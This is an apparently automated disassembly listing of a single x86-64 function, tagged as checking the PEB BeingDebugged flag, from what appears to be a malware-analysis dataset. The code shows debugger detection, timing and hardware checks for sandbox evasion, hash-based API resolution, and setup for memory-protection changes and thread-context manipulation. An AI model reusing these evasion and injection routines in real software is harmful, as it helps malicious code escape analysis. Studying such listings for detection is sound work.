Function at 0x4178a0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xf8
movaps xmmword [rsp + 0xe0], xmm6
lea rcx, [0x00475760]
call qword [0x00475880]
mov eax, dword [0x00475764]
cmp eax, 6
jne 0x418309
mov eax, dword [0x00475768]
cmp eax, 2
jne 0x418350
mov dword [0x00471598], 1
lea rcx, [0x0046d8a0]
mov edx, 0x118a69a4
call fcn.00403ad0
mov edx, 0x8ab624
mov rcx, rax
call fcn.00403d80
mov rcx, rax
mov qword [0x00475740], rax
call fcn.00403800
mov edx, 0x40e44d2c
lea rcx, [0x0042a280]
mov qword [0x00471590], rax
call fcn.00403ad0
test rax, rax
mov rbx, rax
je 0x41836f
mov rsi, qword [rax]
lea rcx, [0x00471480]
lea rdi, [rax + 0x10]
mov rdx, rsi
call fcn.0040ab50
test rsi, rsi
jle 0x41837d
lea rdx, [rax + 0x20]
lea r8, [rax + 0x10]
cmp rdx, rdi
lea rdx, [rbx + 0x20]
setbe cl
cmp r8, rdx
setae dl
or cl, dl
je 0x41839e
lea rdx, [rsi - 1]
cmp rdx, 0xe
jbe 0x41839e
mov rdx, rsi
and rdx, 0xfffffffffffffff0
lea rcx, [rdx + 0x10]
mov edx, 0x10
nop
movdqu xmm0, xmmword [rbx + rdx]
movups xmmword [rax + rdx], xmm0
add rdx, 0x10
cmp rdx, rcx
jne 0x4179a0
mov rdx, rsi
and rdx, 0xfffffffffffffff0
cmp rsi, rdx
je 0x417b10
movzx ecx, byte [rbx + rdx + 0x10]
mov byte [rax + rdx + 0x10], cl
lea rcx, [rdx + 1]
cmp rsi, rcx
jle 0x417b10
movzx r8d, byte [rbx + rdx + 0x11]
lea rcx, [rdx + 2]
cmp rsi, rcx
mov byte [rax + rdx + 0x11], r8b
jle 0x417b10
movzx r8d, byte [rbx + rdx + 0x12]
lea rcx, [rdx + 3]
cmp rsi, rcx
mov byte [rax + rdx + 0x12], r8b
jle 0x417b10
movzx r8d, byte [rbx + rdx + 0x13]
lea rcx, [rdx + 4]
cmp rsi, rcx
mov byte [rax + rdx + 0x13], r8b
jle 0x417b10
movzx r8d, byte [rbx + rdx + 0x14]
lea rcx, [rdx + 5]
cmp rsi, rcx
mov byte [rax + rdx + 0x14], r8b
jle 0x417b10
movzx r8d, byte [rbx + rdx + 0x15]
lea rcx, [rdx + 6]
cmp rsi, rcx
mov byte [rax + rdx + 0x15], r8b
jle 0x417b10
movzx r8d, byte [rbx + rdx + 0x16]
lea rcx, [rdx + 7]
cmp rsi, rcx
mov byte [rax + rdx + 0x16], r8b
jle 0x417b10
movzx r8d, byte [rbx + rdx + 0x17]
lea rcx, [rdx + 8]
cmp rsi, rcx
mov byte [rax + rdx + 0x17], r8b
jle 0x417b10
movzx r8d, byte [rbx + rdx + 0x18]
lea rcx, [rdx + 9]
cmp rsi, rcx
mov byte [rax + rdx + 0x18], r8b
jle 0x417b10
movzx r8d, byte [rbx + rdx + 0x19]
lea rcx, [rdx + 0xa]
cmp rsi, rcx
mov byte [rax + rdx + 0x19], r8b
jle 0x417b10
movzx r8d, byte [rbx + rdx + 0x1a]
lea rcx, [rdx + 0xb]
cmp rsi, rcx
mov byte [rax + rdx + 0x1a], r8b
jle 0x417b10
movzx r8d, byte [rbx + rdx + 0x1b]
lea rcx, [rdx + 0xc]
cmp rsi, rcx
mov byte [rax + rdx + 0x1b], r8b
jle 0x417b10
movzx r8d, byte [rbx + rdx + 0x1c]
lea rcx, [rdx + 0xd]
cmp rsi, rcx
mov byte [rax + rdx + 0x1c], r8b
jle 0x417b10
movzx r8d, byte [rbx + rdx + 0x1d]
mov byte [rax + rdx + 0x1d], r8b
add rdx, 0xe
cmp rsi, rdx
jle 0x417b10
movzx ecx, byte [rbx + rdx + 0x10]
mov byte [rax + rdx + 0x10], cl
nop dword [rax + rax]
nop word cs:[rax + rax]
mov qword [0x00475738], rax
mov rdx, qword [rax]
lea rcx, [0x00471480]
call fcn.0040ab50
mov edx, 0x469be504
lea rcx, [0x0042a1c0]
mov qword [0x00475730], rax
call fcn.00403d80
mov edx, 0x231cd6a4
lea rcx, [0x0042a120]
call fcn.00403d80
mov edx, 0x6a65e42c
lea rcx, [0x0042a040]
call fcn.00403d80
mov edx, 0x2df8e0c
lea rcx, [0x00429fc0]
call fcn.00403d80
lea rcx, [0x00429fa0]
call fcn.00405440
xor edx, edx
mov rcx, rax
call fcn.004047e0
mov r8d, 1
lea rdx, str.LdrLoadDll
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429fa0]
mov qword [0x00471588], rax
call fcn.00405440
xor edx, edx
mov rcx, rax
call fcn.004047e0
mov r8d, 1
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call fcn.004153f0
mov edx, 0x777abdac
lea rcx, [0x00429ec0]
mov qword [0x00471580], rax
call fcn.00403d80
lea rcx, [0x00429ea0]
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.GetCurrentProcessId
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429ea0]
mov qword [0x00471578], rax
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.VirtualProtect
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429ea0]
mov qword [0x00475728], rax
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.OpenProcess
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429ea0]
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.GetProcessHeap
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429ea0]
mov qword [0x00471570], rax
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.GetProcAddress
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429fa0]
mov qword [0x00471568], rax
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
mov r8d, 1
lea rdx, str.RtlAddVectoredExceptionHandler
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429ea0]
mov qword [0x00471560], rax
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.GetModuleHandleA
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429ea0]
mov qword [0x00475720], rax
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.GetModuleHandleW
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429ea0]
mov qword [0x00471558], rax
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.GetThreadContext
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429ea0]
mov qword [0x00471550], rax
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.SetThreadContext
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429ea0]
mov qword [0x00471548], rax
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.CloseHandle
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429ea0]
mov qword [0x00471540], rax
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.OpenThread
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429ea0]
mov qword [0x00471538], rax
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.GetCurrentThreadId
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429ea0]
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.WaitForSingleObject
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429ea0]
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.MultiByteToWideChar
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429ea0]
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.Sleep
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429ea0]
mov qword [0x00475718], rax
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.GetTickCount
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429ea0]
mov qword [0x00475710], rax
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.CreateFileA
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429ea0]
mov qword [0x00471530], rax
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.GetFileSize
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429fa0]
mov qword [0x00471528], rax
call fcn.00405440
xor edx, edx
mov rcx, rax
call fcn.004047e0
mov r8d, 1
lea rdx, str.RtlAllocateHeap
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429ea0]
mov qword [0x00471520], rax
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.ReadFile
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
mov edx, 0x17f9dcc4
lea rcx, [0x00428aa0]
mov qword [0x00471518], rax
call fcn.00403ad0
mov edx, 0x3a38f464
mov rcx, rax
call fcn.00403d80
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 0
jne 0x418317
call qword [0x00471570]
mov rbx, rax
call qword [0x00471570]
cmp dword [rbx + 0x70], 2
jne 0x418394
cmp dword [rax + 0x74], 0
jne 0x418394
call fcn.00404740
test al, al
je 0x41824a
mov rax, qword [0x00475740]
test rax, rax
je 0x4196f7
mov rcx, qword [rax]
add rcx, 2
call fcn.00403a70
mov rcx, qword [0x00475740]
test rcx, rcx
je 0x41822e
mov r9, qword [rcx]
lea r10, [rcx + 0x10]
mov rdx, qword [rax]
test r9, r9
lea r8, [rax + rdx + 0x10]
js 0x41822b
lea rdx, [rax + rdx + 0x20]
cmp r10, rdx
lea rdx, [rcx + 0x20]
setae r10b
cmp r8, rdx
setae dl
or r10b, dl
je 0x4198e9
cmp r9, 0xe
jbe 0x4198e9
lea r11, [r9 + 1]
xor edx, edx
mov r10, r11
and r10, 0xfffffffffffffff0
movdqu xmm3, xmmword [rcx + rdx + 0x10]
movups xmmword [r8 + rdx], xmm3
add rdx, 0x10
cmp rdx, r10
jne 0x4180c2
mov rdx, r11
and rdx, 0xfffffffffffffff0
cmp r11, rdx
je 0x418228
movzx r10d, byte [rcx + rdx + 0x10]
cmp r9, rdx
mov byte [r8 + rdx], r10b
lea r10, [rdx + 1]
jle 0x418228
movzx r11d, byte [rcx + r10 + 0x10]
cmp r9, r10
mov byte [r8 + rdx + 1], r11b
lea r11, [rdx + 2]
jle 0x418228
movzx r10d, byte [rcx + r11 + 0x10]
cmp r9, r11
mov byte [r8 + rdx + 2], r10b
lea r10, [rdx + 3]
jle 0x418228
movzx r11d, byte [rcx + r10 + 0x10]
cmp r9, r10
mov byte [r8 + rdx + 3], r11b
lea r11, [rdx + 4]
jle 0x418228
movzx r10d, byte [rcx + r11 + 0x10]
cmp r9, r11
mov byte [r8 + rdx + 4], r10b
lea r10, [rdx + 5]
jle 0x418228
movzx r11d, byte [rcx + r10 + 0x10]
cmp r9, r10
mov byte [r8 + rdx + 5], r11b
lea r11, [rdx + 6]
jle 0x418228
movzx r10d, byte [rcx + r11 + 0x10]
cmp r9, r11
mov byte [r8 + rdx + 6], r10b
lea r10, [rdx + 7]
jle 0x418228
movzx r11d, byte [rcx + r10 + 0x10]
cmp r9, r10
mov byte [r8 + rdx + 7], r11b
lea r11, [rdx + 8]
jle 0x418228
movzx r10d, byte [rcx + r11 + 0x10]
cmp r9, r11
mov byte [r8 + rdx + 8], r10b
lea r10, [rdx + 9]
jle 0x418228
movzx r11d, byte [rcx + r10 + 0x10]
cmp r9, r10
mov byte [r8 + rdx + 9], r11b
lea r11, [rdx + 0xa]
jle 0x418228
movzx r10d, byte [rcx + r11 + 0x10]
cmp r9, r11
mov byte [r8 + rdx + 0xa], r10b
lea r10, [rdx + 0xb]
jle 0x418228
movzx r11d, byte [rcx + r10 + 0x10]
cmp r9, r10
mov byte [r8 + rdx + 0xb], r11b
lea r11, [rdx + 0xc]
jle 0x418228
movzx r10d, byte [rcx + r11 + 0x10]
cmp r9, r11
mov byte [r8 + rdx + 0xc], r10b
lea r10, [rdx + 0xd]
jle 0x418228
movzx r11d, byte [rcx + r10 + 0x10]
cmp r9, r10
mov byte [r8 + rdx + 0xd], r11b
lea r11, [rdx + 0xe]
jle 0x418228
movzx r9d, byte [rcx + r11 + 0x10]
mov byte [r8 + rdx + 0xe], r9b
mov r9, qword [rcx]
add qword [rax], r9
mov rdx, qword [rax]
lea rdx, [rax + rdx + 0x10]
mov word [rdx], 0x776c
mov byte [rdx + 2], 0
add qword [rax], 2
mov qword [0x00471590], rax
mov edx, 0x542083cc
lea rcx, [0x00429d80]
call fcn.00403d80
lea rcx, [0x00429ea0]
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.GetComputerNameExA
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429ea0]
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.GlobalMemoryStatusEx
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
lea rcx, [0x00429ea0]
call fcn.00405440
mov edx, 1
mov rcx, rax
call fcn.004047e0
lea rdx, str.GetDiskFreeSpaceExA
xor r8d, r8d
mov rcx, rax
call fcn.004153f0
call qword [0x00475710]
mov ecx, 0x5dc
mov ebx, eax
call qword [0x00475718]
call qword [0x00475710]
sub eax, ebx
cmp eax, 0x513
jg 0x4183b7
xor ecx, ecx
call sub.msvcrt.dll_exit
cmp eax, 5
jle 0x4178e6
jmp 0x4178f0
lea rcx, [0x00428b20]
mov edx, 0x22828724
mov qword [rsp + 0xc0], 0
call fcn.00403ad0
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0xc0], rax
call fcn.00415eb0
xor ecx, ecx
call sub.msvcrt.dll_exit
cmp eax, 3
je 0x4178e6
test eax, eax
je 0x4178e6
sub eax, 1
je 0x4178e6
jmp 0x4178f0
lea rcx, [0x00471480]
xor edx, edx
call fcn.0040ab50
test rax, rax
mov qword [0x00475738], rax
jne 0x417b17
xor edx, edx
jmp 0x417b1a
mov ecx, 1
call sub.msvcrt.dll_exit
xor edx, edx
movzx ecx, byte [rbx + rdx + 0x10]
mov byte [rax + rdx + 0x10], cl
add rdx, 1
cmp rsi, rdx
jne 0x4183a0
jmp 0x417b10
lea rcx, [0x00428b40]
mov edx, 0x423895c4
call fcn.00403ad0
mov rbx, rax
mov rax, qword [0x00471590]
test rax, rax
je 0x4197a6
mov rcx, qword [rax]
test rbx, rbx
je 0x41976a
add rcx, qword [rbx]
call fcn.00403a70
mov r11, qword [0x00471590]
test r11, r11
je 0x418498
mov r9, qword [r11]
lea r8, [r11 + 0x10]
mov rdx, qword [rax]
lea r10, [r9 + 1]
lea rcx, [rax + rdx + 0x10]
test r10, r10
jle 0x419986
lea rdx, [rcx + 0x10]
cmp r8, rdx
lea rdx, [r8 + 0x10]
setae r9b
cmp rcx, rdx
setae dl
or r9b, dl
je 0x419913
cmp r10, 0xf
jle 0x419913
test r10, r10
mov esi, 1
cmovg rsi, r10
xor edx, edx
mov r9, rsi
and r9, 0xfffffffffffffff0
movdqu xmm4, xmmword [r8 + rdx]
movups xmmword [rcx + rdx], xmm4
add rdx, 0x10
cmp rdx, r9
jne 0x418458
mov rdx, rsi
and rdx, 0xfffffffffffffff0
cmp rsi, rdx
je 0x418489
movzx r9d, byte [r8 + rdx]
mov byte [rcx + rdx], r9b
add rdx, 1
cmp rdx, r10
jl 0x418477
mov rdx, qword [r11]
add qword [rax], rdx
test rbx, rbx
je 0x41851f
mov r8, qword [rbx]
lea r9, [rbx + 0x10]
mov rdx, qword [rax]
test r8, r8
lea rcx, [rax + rdx + 0x10]
js 0x41851c
lea rdx, [rax + rdx + 0x20]
cmp r9, rdx
lea rdx, [rbx + 0x20]
setae r9b
cmp rcx, rdx
setae dl
or r9b, dl
je 0x41992c
cmp r8, 0xe
jbe 0x41992c
lea r10, [r8 + 1]
xor edx, edx
mov r9, r10
and r9, 0xfffffffffffffff0
movdqu xmm5, xmmword [rbx + rdx + 0x10]
movups xmmword [rcx + rdx], xmm5
add rdx, 0x10
cmp rdx, r9
jne 0x4184e2
mov rdx, r10
and rdx, 0xfffffffffffffff0
cmp r10, rdx
jne 0x418506
jmp 0x418519
mov rdx, r9
movzx r9d, byte [rbx + rdx + 0x10]
cmp r8, rdx
mov byte [rcx + rdx], r9b
lea r9, [rdx + 1]
jg 0x418503
mov r8, qword [rbx]
add qword [rax], r8
mov edx, 0x313c38c
mov qword [0x00471590], rax
lea rcx, [0x00428be0]
call fcn.00403ad0
mov edx, 0x7da7f48c
mov rcx, rax
call fcn.00403d80
mov rcx, rax
call fcn.004066b0
mov rcx, rax
call qword [0x004755c8]
mov edx, 0x7d63ec6c
lea rcx, [0x00428ba0]
call fcn.00403ad0
mov edx, 0x4586056c
mov rcx, rax
call fcn.00403d80
mov edx, 0x504d2e04
lea rcx, [0x00428b60]
mov rbx, rax
call fcn.00403ad0
mov edx, 0x5dfa8904
mov rcx, rax
call fcn.00403d80
mov rcx, rbx
mov rsi, rax
call fcn.004066b0
mov rcx, rsi
mov rbx, rax
call fcn.004066b0
mov rcx, rbx
mov rsi, rax
call qword [0x004755c8]
add eax, 1
jne 0x4185c4
mov rcx, rsi
call qword [0x004755c8]
xor edx, edx
mov ecx, 0x1000
movabs r8, 0xffffffff1
call qword [0x004755d0]
test rax, rax
jne 0x419720
lea rbx, [rsp + 0x80]
mov rcx, rbx
call fcn.00402a40
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x88]
call fcn.0040a490
mov rcx, rbx
call fcn.00402a40
mov rdx, qword [rsp + 0x88]
xor eax, eax
mov ecx, 4
mov r8, qword [rsp + 0x80]
lea r9, [rsp + 0xb0]
mov rdi, r9
rep stosd dword [rdi], eax
lea rdi, [rsp + 0xc0]
mov ecx, 4
sub rdx, rbp
mov qword [rsp + 0x58], rdi
rep stosd dword [rdi], eax
mov rax, rdx
sub r8, rsi
mov ecx, 0x3b9aca00
movabs rdi, 0x112e0be826d694b3
cqo
idiv rcx
add rax, r8
test rdx, rdx
lea rcx, [rax - 1]
cmovs rax, rcx
mov qword [rsp + 0xc0], rax
jmp 0x4186cd
call fcn.0040a490
mov rcx, rbx
call fcn.00402a40
mov r8, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
sub r8, rbp
mov rax, r8
sub rcx, rsi
imul rdi
mov rax, r8
sar rax, 0x3f
sar rdx, 0x1a
sub rdx, rax
lea rax, [rcx + rdx]
imul rdx, rdx, 0x3b9aca00
lea rcx, [rax - 1]
cmp r8, rdx
cmovs rax, rcx
test rax, rax
js 0x418680
cmp rax, 4
jle 0x418680
lea rcx, [0x00429ce0]
mov edx, 0x47cbf02c
call fcn.00403d80
mov edx, 0x28b30ecc
lea rcx, [0x00429cc0]
call fcn.00403d80
mov rcx, rax
call fcn.00402950
mov rcx, rax
call qword [0x00475720]
mov edx, 0x5de04b24
lea rcx, [0x00429c80]
mov rbx, rax
call fcn.00403d80
mov rcx, rax
call fcn.00402950
mov rcx, rbx
mov rdx, rax
call qword [0x00471568]
lea rcx, [0x004251a0]
call fcn.0041b0f0
mov edx, 0x3f8
mov rcx, rax
mov r12, rax
call fcn.00406290
mov edx, 0x5afb03ac
lea rcx, [0x00429b00]
mov rsi, rax
lea rax, [0x00475690]
mov qword [rsi], rax
call fcn.00403ad0
mov edx, 0xf982f8c
mov rcx, rax
call fcn.00403d80
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [0x00475680]
mov r8d, 0x1000
mov edx, 8
mov rcx, rax
call qword [0x00471510]
mov edx, 0x6526c7c4
mov dword [rsp + 0x9c], 0
lea rcx, [0x00429ac0]
mov rbx, rax
lea rbp, [rax + 0x15]
lea rdi, [rax + 0x2a]
call fcn.00403ad0
mov edx, 0x1892d964
mov rcx, rax
call fcn.00403d80
test rax, rax
je 0x419907
cmp qword [rax], 0
lea rcx, [0x00427f60]
je 0x4187ec
lea rcx, [rax + 0x10]
mov rdx, rbx
call fcn.0040abe0
mov edx, 0xc798c
lea rcx, [0x00429a80]
call fcn.00403ad0
mov edx, 0x132c386c
mov rcx, rax
call fcn.00403d80
lea rcx, [0x00427f60]
test rax, rax
je 0x418828
cmp qword [rax], 0
je 0x418828
lea rcx, [rax + 0x10]
mov rdx, rbp
call fcn.0040abe0
mov edx, 0x1fa35764
lea rcx, [0x00429a40]
call fcn.00403ad0
mov edx, 0x1a9cd204
mov rcx, rax
call fcn.00403d80
lea rcx, [0x00427f60]
test rax, rax
je 0x418864
cmp qword [rax], 0
je 0x418864
lea rcx, [rax + 0x10]
mov rdx, rdi
call fcn.0040abe0
mov edx, 0x3222926c
lea rcx, [0x00429a10]
call fcn.00403ad0
mov edx, 0x68de9c4c
mov rcx, rax
call fcn.00403d80
lea rdx, [rbx + 0x93]
lea rcx, [0x00427f60]
test rax, rax
je 0x4188a7
cmp qword [rax], 0
je 0x4188a7
lea rcx, [rax + 0x10]
call fcn.0040abe0
mov edx, 0x586c8004
lea rcx, [0x004299e0]
call fcn.00403ad0
mov edx, 0x62700ba4
lea rdi, [rbx + 0x126]
mov rcx, rax
call fcn.00403d80
lea rdx, [rbx + 0x111]
lea rcx, [0x00427f60]
test rax, rax
je 0x4188ee
cmp qword [rax], 0
je 0x4188ee
lea rcx, [rax + 0x10]
call fcn.0040abe0
lea rcx, [0x004299a0]
mov edx, 0x1a62532c
call fcn.00403d80
lea rcx, [0x00427f60]
test rax, rax
je 0x41891a
cmp qword [rax], 0
je 0x41891a
lea rcx, [rax + 0x10]
mov rdx, rdi
call fcn.0040abe0
lea r9, [rsp + 0x9c]
mov edx, 0x15
mov rcx, rbx
mov r8d, 0x20
call qword [0x00475728]
mov edx, 0x34c8ee44
lea rcx, [0x004298c0]
call fcn.00403d80
mov edx, 0x5c4f150c
lea rcx, [0x00429820]
call fcn.00403d80
mov r8d, 0x3c8
xor edx, edx
lea rcx, [rsi + 0x30]
call fcn.0041b308
lea rdx, [rsi + 0x10]
xor eax, eax
mov ecx, 8
mov rdi, rdx
mov edx, 0x5c7e21e4
rep stosd dword [rdi], eax
lea rcx, [0x004297c0]
call fcn.00403d80
mov edx, 0x7e8f59ec
lea rcx, [0x00429640]
call fcn.00403d80
mov edx, 0x27aa8e84
lea rcx, [0x004294c0]
call fcn.00403d80
mov edx, 0x757e59cc
lea rcx, [0x00429400]
call fcn.00403d80
mov edx, 0x41e75c24
lea rcx, [0x00429360]
call fcn.00403d80
call fcn.00406f50
mov edx, 0x1bc4e924
xor ecx, ecx
call fcn.00403ad0
mov rcx, rax
call fcn.0040fa60
mov ecx, 0x5dc
call qword [0x00475718]
call fcn.00406930
xor r9d, r9d
xor edx, edx
xor ecx, ecx
lea r8, [0x00415840]
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call qword [0x00475678]
mov edx, 0x2200de6c
lea rcx, [0x00429220]
call fcn.00403d80
mov edx, 0x735e2404
lea rcx, [0x00429160]
call fcn.00403d80
mov edx, 0x2132b24c
lea rcx, [0x00428f80]
call fcn.00403d80
mov edx, 0xeceada4
lea rcx, [0x00428e80]
call fcn.00403d80
mov rax, qword [0x00475738]
mov rcx, rsi
mov qword [rsp + 0xb8], rsi
add rax, 0x10
mov qword [0x00475670], rax
mov rax, qword [0x00475730]
add rax, 0x10
mov qword [0x00475668], rax
lea rax, [fcn.004133d0]
mov qword [rsp + 0xb0], rax
call fcn.004133d0
mov rbp, qword [0x00475730]
test rbp, rbp
je 0x419759
mov r14, qword [rbp]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x48], rax
lea rcx, [0x00425120]
call fcn.0041b0f0
cmp qword [rax], 0
mov rbx, rax
je 0x4197bf
mov rax, qword [rbx]
mov rcx, rax
mov qword [rsp + 0x70], rax
call fcn.00402970
test al, al
jne 0x418b03
lea rcx, [0x00428ca0]
xor edx, edx
call fcn.0040d3b0
lea rcx, [0x00425180]
mov qword [rsp + 0xa8], 0
call fcn.0041b0f0
cmp byte [rax], 0
mov rdi, rax
mov qword [rsp + 0x38], rax
jne 0x418b33
xor ecx, ecx
call qword [0x00471680]
mov byte [rdi], 1
call fcn.004159a0
lea rcx, [0x00425160]
mov rdi, rax
call fcn.0041b0f0
cmp qword [rax], 0
mov qword [rsp + 0x60], rax
je 0x4197ad
lea rcx, [0x00425140]
call fcn.0041b0f0
cmp qword [rax], 0
mov r13, rax
je 0x4198cd
mov rcx, qword [r13]
mov r8d, 1
mov rdx, rdi
call fcn.0040b120
mov word [rdi], 0x2011
mov r8, qword [rsp + 0x58]
mov edx, 1
mov dword [rsp + 0xc4], 0
mov ecx, 0x11
mov dword [rsp + 0xc0], r14d
call qword [0x00471630]
test rax, rax
mov qword [rdi + 8], rax
je 0x41985c
test r14, r14
jle 0x418caa
xor ebx, ebx
pxor xmm6, xmm6
mov rbp, qword [rsp + 0x60]
mov qword [rsp + 0x50], r14
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x40], rax
jmp 0x418c40
cmp qword [r13], 0
je 0x418c9c
mov rcx, qword [r13]
mov r8d, 1
mov rdx, r14
call fcn.0040b120
mov eax, 0x11
mov rdx, qword [rsp + 0x40]
mov word [r15 + 0x10], ax
lea r8, [r14 + 8]
mov byte [r14 + 8], sil
mov dword [rsp + 0xa0], ebx
add rbx, 1
mov rcx, qword [rdi + 8]
call qword [0x004715a0]
cmp rbx, qword [rsp + 0x50]
je 0x418cb7
mov r14, qword [rsp + 0x38]
mov rax, qword [rsp + 0x48]
cmp byte [r14], 0
movzx esi, byte [rax + rbx]
jne 0x418c60
xor ecx, ecx
call qword [0x00471680]
mov byte [r14], 1
mov rcx, r12
call fcn.00415890
lea r14, [rax + 0x10]
mov qword [rax + 8], 1
mov r15, rax
movups xmmword [rax + 0x10], xmm6
mov qword [r14 + 0x10], 0
cmp qword [rbp], 0
jne 0x418bf0
call fcn.004174a0
mov qword [rbp], rax
jmp 0x418bf0
call fcn.004174a0
mov qword [r13], rax
jmp 0x418bfb
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x70]
mov r8d, 0x41578
mov qword [rsp + 0x20], 1
mov ebp, 1
lea rax, [rsp + 0xa8]
mov qword [rsp + 0xa8], rdi
xor r15d, r15d
lea rdx, [0x00428cd0]
mov r9, rax
mov qword [rsp + 0x68], rax
call fcn.0040e4a0
lea rcx, [0x00425100]
mov qword [rsp + 0x70], rax
call fcn.0041b0f0
lea rcx, [0x004250e0]
mov rdi, rax
call fcn.0041b0f0
mov qword [rsp + 0x50], r13
mov r13, rdi
movdqa xmm6, xmmword [0x0046dec0]
mov r14, rax
jmp 0x418dba
call qword [0x00475660]
mov rcx, rax
call fcn.004125e0
mov rcx, rax
call fcn.0040c880
mov qword [r14], rax
mov byte [r13], 1
mov rax, qword [r14]
test rax, rax
je 0x418dcd
mov rdi, qword [rax]
lea rdx, [rdi - 1]
cmp rbp, rdx
jg 0x418dcd
cmp rbp, qword [rax]
jge 0x419172
mov rbx, qword [rax + rbp*8 + 0x10]
test rbx, rbx
je 0x4196d6
cmp qword [rbx + 8], 0
mov rsi, rbx
jns 0x419289
lea rdx, [0x004714d0]
mov rcx, r15
mov rbx, rsi
call fcn.0040c4c0
mov rdi, qword [rax]
mov r15, rax
lea rax, [rdi + 1]
mov qword [r15], rax
cmp qword [rsi + 8], 0
jns 0x418f53
mov qword [r15 + rdi*8 + 0x10], rbx
add rbp, 1
cmp byte [r13], 0
je 0x418d30
mov rax, qword [r14]
test rax, rax
jne 0x418d56
mov edx, 0x735b592c
mov r13, qword [rsp + 0x50]
xor ebx, ebx
lea rcx, [0x00428d40]
call fcn.00403d80
test r15, r15
je 0x418df1
mov rbx, qword [r15]
add r15, 0x10
mov rdi, qword [rsp + 0x38]
cmp byte [rdi], 0
jne 0x418e06
xor ecx, ecx
call qword [0x00471680]
mov byte [rdi], 1
call fcn.004159a0
mov rsi, rax
mov rax, qword [rsp + 0x60]
cmp qword [rax], 0
je 0x41984a
cmp qword [r13], 0
je 0x41983c
mov rcx, qword [r13]
mov r8d, 1
mov rdx, rsi
call fcn.0040b120
mov word [rsi], 0x2008
mov r8, qword [rsp + 0x58]
mov edx, 1
mov dword [rsp + 0xc4], 0
mov ecx, 8
mov dword [rsp + 0xc0], ebx
call qword [0x00471630]
test rax, rax
mov qword [rsi + 8], rax
je 0x4197cb
xor edi, edi
test rbx, rbx
mov rbp, qword [rsp + 0x68]
jle 0x418eaa
nop
mov rcx, qword [r15 + rdi*8]
call fcn.0040b690
mov dword [rsp + 0xa8], edi
add rdi, 1
mov rcx, qword [rsi + 8]
mov r8, qword [rax + 8]
mov rdx, rbp
call qword [0x004715a0]
cmp rdi, rbx
jne 0x418e80
mov r9, qword [rsp + 0x40]
mov r8d, 0x41500
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x70]
lea rdx, [0x00428d20]
mov qword [rsp + 0xa0], 0
call fcn.0040f570
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0xc8], 0
mov rbx, rax
